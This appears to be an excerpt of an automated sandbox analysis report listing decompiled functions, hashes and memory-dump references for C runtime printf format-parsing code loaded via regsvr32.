API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$0$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 530996419-4087627031
Opcode ID: 287329bbe28ac3486ddbb9e235f19a10cbf988fa35318df4d11335d2ff3f0aeb
Instruction ID: f671f2f81670ff54d1d55a26610e2e3881df7bf560f190d6bc7d2e9ce8938301
Opcode Fuzzy Hash: 287329bbe28ac3486ddbb9e235f19a10cbf988fa35318df4d11335d2ff3f0aeb
Instruction Fuzzy Hash: 8B517E72A0D6C28AF3F18B64E855BBEB7E4F384345F600126D2C9869A9DB7DE540CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DCA8 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D3DCA8(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t171;
				char* _t191;
				char* _t192;

				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t191 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t191);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t171 + _t191 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t192 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t192);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t171 + _t192 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9

Strings

0, xrefs: 000007FEF9D3DCDF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$0$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 530996419-1247675978
Opcode ID: dafc102d997b2a6b976dbf7f56485c8afddec954203f225463beab32e96cec62
Instruction ID: decea58dbdbd6501be5c610137b77bb3c0dc28cbce38a3a9de9bceb14a18b164
Opcode Fuzzy Hash: dafc102d997b2a6b976dbf7f56485c8afddec954203f225463beab32e96cec62
Instruction Fuzzy Hash: 1F510CB2A0C6C68AE7B09B64F8407BEB7E0F385346F600125D6C9869A8D77DE444DF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BD82 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E000007FE7FEF9D3BD82(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t139;
				char* _t159;
				char* _t160;

				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t159 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t159);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t139 + _t159 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t160 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t160);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t139 + _t160 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
get_int_arg.LIBCMTD ref: 000007FEF9D3BD97

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-192189897
Opcode ID: b576c27c8c875c1ce4182572011a22670079dadd40bff06c5e4b49d8cc0733f6
Instruction ID: 7af9cebcf9cdbe51cb5c05a1613d0acac690945035c75598d7829d850d960732
Opcode Fuzzy Hash: b576c27c8c875c1ce4182572011a22670079dadd40bff06c5e4b49d8cc0733f6
Instruction Fuzzy Hash: 40515E72A0D6C68AE7F0DB24E8947BEBBE4E384355F600126D2CD869A9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD30 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E000007FE7FEF9D3DD30(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t139;
				char* _t159;
				char* _t160;

				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t159 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t159);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t139 + _t159 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t160 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t160);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t139 + _t160 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
get_int_arg.LIBCMTD ref: 000007FEF9D3DD45

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-734865713
Opcode ID: 73e6b479e683be5ecb6b5fbd55da46f8fdb801a5518f0397c70b55b6842a44e9
Instruction ID: f5bf503dfe25a3916c99f1d9d67644448d63221e22ccd8ab12d6653ca93a9968
Opcode Fuzzy Hash: 73e6b479e683be5ecb6b5fbd55da46f8fdb801a5518f0397c70b55b6842a44e9
Instruction Fuzzy Hash: 0E510DB2A0C6C28AE7F09B64E8407BEB7E4F394345F600126E6C9879A9DB7DD445CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BDE7 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3BDE7(signed int _a80, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t113;
				char* _t133;

				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t133 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t133);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t113 + _t133 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
get_int_arg.LIBCMTD ref: 000007FEF9D3BDFC

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-192189897
Opcode ID: 4684e22f791ce69839f562b923e995fff9986fe21dc9389a852d4c7307e36990
Instruction ID: 7a8513096c3cb2bd444751f94b1f2e61cedcdb1a9580f93edff9428065c01d53
Opcode Fuzzy Hash: 4684e22f791ce69839f562b923e995fff9986fe21dc9389a852d4c7307e36990
Instruction Fuzzy Hash: 0C415B72A0DAC28AE7F0DB24E8947BEB7E4E384745F600126D6DD869A9DB3DD541CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD95 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3DD95(signed int _a80, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t113;
				char* _t133;

				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t133 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t133);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t113 + _t133 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
get_int_arg.LIBCMTD ref: 000007FEF9D3DDAA

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
_woutput_s_l, xrefs: 000007FEF9D3DBD6

